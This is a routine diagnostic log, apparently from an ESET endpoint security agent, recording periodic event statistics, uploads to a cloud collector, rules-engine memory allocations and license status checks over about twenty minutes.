2026-03-04 09:06:46 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:02:50, To:, 2026-03-04 09:06:46, Duration (s):, 236, Events Per Second:, 17.354, Events:, 4107, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3416, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 1, Livegrid:, 1, OriginUrl:, 0, Alarms:, 688, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458289
2026-03-04 09:06:48 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s360ms.
2026-03-04 09:06:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1433 KB; TcpIpConnectionsManager: 617 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; rules::ProcessConditionsCache: 71 KB; cloudutils::CloudData: 40 KB; BaseEvent: 30 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 13 KB; ProcessInfoCommandLineTag: 9 KB; BatchSerializer::EventsQueueTag: 8 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65611 KB;
2026-03-04 09:07:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1843 KB; TcpIpConnectionsManager: 626 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; BaseEvent: 218 KB; rules::ProcessConditionsCache: 174 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 59 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ProcessInfoCommandLineTag: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66384 KB;
2026-03-04 09:08:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:08:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:08:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:08:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:08:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:08:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:08:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:08:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:08:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2217 KB; TcpIpConnectionsManager: 608 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 523 KB; BaseEvent: 408 KB; rules::ProcessConditionsCache: 129 KB; ModuleInfoCache: 112 KB; BatchSerializer::EventsQueueTag: 110 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66914 KB;
2026-03-04 09:09:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2670 KB; TcpIpConnectionsManager: 652 KB; BaseEvent: 607 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 236 KB; BatchSerializer::EventsQueueTag: 167 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 16 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67793 KB;
2026-03-04 09:10:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:06:46, To:, 2026-03-04 09:10:29, Duration (s):, 223, Events Per Second:, 18.386, Events:, 4117, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3468, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 648, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 462929
2026-03-04 09:10:31 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s375ms.
2026-03-04 09:10:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1608 KB; TcpIpConnectionsManager: 639 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; rules::ProcessConditionsCache: 199 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BaseEvent: 83 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 21 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66004 KB;
2026-03-04 09:11:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1982 KB; TcpIpConnectionsManager: 609 KB; ModuleMetadata: 601 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 569 KB; rules::AncestorEvaluations: 551 KB; BaseEvent: 267 KB; rules::ProcessConditionsCache: 210 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 71 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 19 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ExtendedTcpIpConnectionInfo: 4 KB; BatchStringTag: 0 KB; Total: 66638 KB;
2026-03-04 09:12:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2379 KB; TcpIpConnectionsManager: 616 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 460 KB; rules::ProcessConditionsCache: 229 KB; BatchSerializer::EventsQueueTag: 122 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67262 KB;
2026-03-04 09:13:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:13:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:13:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:13:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:13:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:13:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:13:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:13:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:13:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2755 KB; BaseEvent: 647 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 598 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 533 KB; rules::ProcessConditionsCache: 218 KB; BatchSerializer::EventsQueueTag: 172 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 20 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 67848 KB;
2026-03-04 09:14:24 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:10:29, To:, 2026-03-04 09:14:23, Duration (s):, 234, Events Per Second:, 17.215, Events:, 4039, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3360, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 678, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 449818
2026-03-04 09:14:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s745ms.
2026-03-04 09:14:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1445 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 575 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; rules::ProcessConditionsCache: 162 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BaseEvent: 43 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 17 KB; BatchSerializer::EventsQueueTag: 11 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 5 KB; BatchStringTag: 0 KB; Total: 65700 KB;
2026-03-04 09:15:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1843 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 599 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 538 KB; BaseEvent: 237 KB; ModuleInfoCache: 112 KB; rules::ProcessConditionsCache: 103 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 66 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 12 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 66309 KB;
2026-03-04 09:16:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2253 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 596 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; BaseEvent: 449 KB; rules::ProcessConditionsCache: 130 KB; BatchSerializer::EventsQueueTag: 119 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 67005 KB;
2026-03-04 09:17:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2659 KB; TcpIpConnectionsManager: 690 KB; BaseEvent: 631 KB; ModuleMetadata: 601 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 561 KB; rules::AncestorEvaluations: 551 KB; rules::ProcessConditionsCache: 220 KB; BatchSerializer::EventsQueueTag: 170 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 20 KB; ProcessInfoCommandLineTag: 10 KB; ExtendedTcpIpConnectionInfo: 6 KB; BatchStringTag: 0 KB; Total: 67863 KB;
2026-03-04 09:18:26 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:14:21, To:, 2026-03-04 09:18:26, Duration (s):, 245, Events Per Second:, 16.414, Events:, 4025, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3393, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 631, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 451688
2026-03-04 09:18:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:18:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:18:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:18:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:18:27 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s460ms.
2026-03-04 09:18:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:18:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:18:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:18:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:18:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1697 KB; TcpIpConnectionsManager: 640 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; rules::ProcessConditionsCache: 132 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BaseEvent: 91 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 24 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66027 KB;
2026-03-04 09:19:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2081 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 598 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 524 KB; BaseEvent: 277 KB; rules::ProcessConditionsCache: 166 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 74 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66638 KB;
2026-03-04 09:20:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2444 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 590 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 528 KB; BaseEvent: 453 KB; rules::ProcessConditionsCache: 151 KB; BatchSerializer::EventsQueueTag: 120 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67204 KB;
2026-03-04 09:21:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2811 KB; BaseEvent: 636 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BatchSerializer::EventsQueueTag: 169 KB; rules::ProcessConditionsCache: 152 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 12 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67768 KB;
2026-03-04 09:22:29 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:18:25, To:, 2026-03-04 09:22:29, Duration (s):, 244, Events Per Second:, 16.727, Events:, 4086, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3387, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 698, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 456659
2026-03-04 09:22:30 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s507ms.
2026-03-04 09:22:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1496 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 531 KB; rules::ProcessConditionsCache: 198 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BaseEvent: 86 KB; cloudutils::CloudData: 40 KB; BatchSerializer::EventsQueueTag: 23 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 11 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 65807 KB;
2026-03-04 09:23:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:23:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:23:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:23:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:23:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:23:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:23:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:23:30 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:23:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1865 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 552 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 534 KB; BaseEvent: 267 KB; rules::ProcessConditionsCache: 188 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 71 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 10 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66397 KB;
2026-03-04 09:24:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2226 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 553 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 536 KB; BaseEvent: 444 KB; rules::ProcessConditionsCache: 172 KB; BatchSerializer::EventsQueueTag: 117 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 3 KB; BatchStringTag: 0 KB; Total: 66967 KB;
2026-03-04 09:25:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2602 KB; BaseEvent: 629 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 537 KB; rules::ProcessConditionsCache: 190 KB; BatchSerializer::EventsQueueTag: 166 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 11 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 67603 KB;
2026-03-04 09:26:31 7ff819ffb6c0 Info: Events Statistics, From:, 2026-03-04 09:22:27, To:, 2026-03-04 09:26:31, Duration (s):, 244, Events Per Second:, 16.809, Events:, 4105, File:, 0, Registry:, 0, TcpIp:, 0, Http:, 0, Dns:, 0, Process:, 3395, Injections:, 0, Dll:, 0, Traffic:, 0, Info:, 1, Metadata:, 0, Livegrid:, 0, OriginUrl:, 0, Alarms:, 709, UserActivity:, 0, Wmi:, 0, Scripts:, 0, ExeDrops:, 0, OpenProcess:, 0, TrafficSize:, 0, TrafficInterval:, 0, Executions:, 0, Subprocesses:, 0, Connections:, 0, LoadUnloadDriver:, 0, SystemApiCall:, 0, MultipleFilesChanged:, 0, Batch Size (bytes):, 458369
2026-03-04 09:26:32 7ff81a7fc6c0 Info: Events sent successfully to eu01.agent.edr.eset.systems:8093. Server responded with 200 status code in 1s398ms.
2026-03-04 09:26:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1451 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 545 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 539 KB; rules::ProcessConditionsCache: 202 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BaseEvent: 74 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; BatchSerializer::EventsQueueTag: 18 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 65745 KB;
2026-03-04 09:27:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 1834 KB; ModuleMetadata: 601 KB; TcpIpConnectionsManager: 562 KB; rules::AncestorEvaluations: 551 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 540 KB; BaseEvent: 257 KB; rules::ProcessConditionsCache: 245 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; BatchSerializer::EventsQueueTag: 68 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 1 KB; BatchStringTag: 0 KB; Total: 66421 KB;
2026-03-04 09:28:26 7ff8027fd6c0 Info: LicenseStateManager: license state check started. Current License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:28:26 7ff8027fd6c0 Info: LicenseStateManager: received license information status: 0, remainingDays: 199, expirationDate: 1789776000, flags: 0, publicId: 3BA-MD9-VDA, seatId: 2cd11044-641a-4d0b-b46c-c32589a4d24f, seatName: , type: 
2026-03-04 09:28:26 7ff8027fd6c0 Info: LicenseStateManager: Updated internal current license License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:28:26 7ff8027fd6c0 Info: LicenseStateManager: waiting for next check (for 00:05:00.000000000). Current: License(isActive:true, changed:false, status:0), notifyCollector:false, endpointIntegration(true, false)
2026-03-04 09:28:31 7ff8037ff6c0 Info: RulesEngineMemoryUsage. Start
2026-03-04 09:28:31 7ff8037ff6c0 Info: RulesEngineMemoryUsage. conditions size: 23515
2026-03-04 09:28:31 7ff8037ff6c0 Info: RulesEngineMemoryUsage. providers size: 37
2026-03-04 09:28:31 7ff8037ff6c0 Info: RulesEngineMemoryUsage. End
2026-03-04 09:28:55 7ff8017fb6c0 Info: Allocations: rules::RuleEvaluationCtx: 61466 KB; ProcessInfo: 2195 KB; ModuleMetadata: 601 KB; rules::AncestorEvaluations: 551 KB; TcpIpConnectionsManager: 550 KB; (anonymous namespace)::ProcessOperationsCache<Hash<StaticBufferHash<20ul> > >: 529 KB; BaseEvent: 435 KB; rules::ProcessConditionsCache: 225 KB; BatchSerializer::EventsQueueTag: 114 KB; ModuleInfoCache: 112 KB; CacheEntry: 96 KB; cloudutils::CloudData: 40 KB; rules::CachedConditionEvaluationCtx: 22 KB; ProcessInfoCommandLineTag: 10 KB; (anonymous namespace)::ProcessOperationsCache<in_addr>: 9 KB; ExtendedTcpIpConnectionInfo: 2 KB; BatchStringTag: 0 KB; Total: 66965 KB;
